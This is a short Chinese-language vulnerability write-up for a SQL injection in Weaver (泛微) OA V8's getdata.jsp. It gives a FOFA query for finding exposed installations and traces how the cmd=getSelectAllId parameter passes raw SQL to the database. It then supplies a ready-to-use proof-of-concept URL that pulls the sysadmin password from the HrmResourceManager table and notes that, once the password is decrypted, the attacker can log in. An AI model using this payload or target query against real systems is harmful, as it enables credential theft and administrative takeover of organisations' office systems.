# 泛微OA V8 getdata.jsp SQL注入漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
泛微OA V8 存在SQL注入漏洞,攻击者可以通过漏洞获取管理员权限和服务器权限
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
泛微OA V8
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="泛微-协同办公OA"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
在getdata.jsp中,直接将request对象交给
|
||
|
||
**weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :**
|
||
|
||
方法处理
|
||
|
||

|
||
|
||
在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法
|
||
|
||

|
||
|
||
Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)
|
||
|
||
在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中
|
||
|
||

|
||
|
||
根据以上代码流程,只要构造请求参数
|
||
|
||
?cmd= getSelectAllId&sql=select password as id from userinfo;
|
||
|
||
即可完成对数据库操控
|
||
|
||
POC
|
||
|
||
```plain
|
||
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
|
||
```
|
||
|
||
查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)
|
||
|
||
解密后即可登录系统
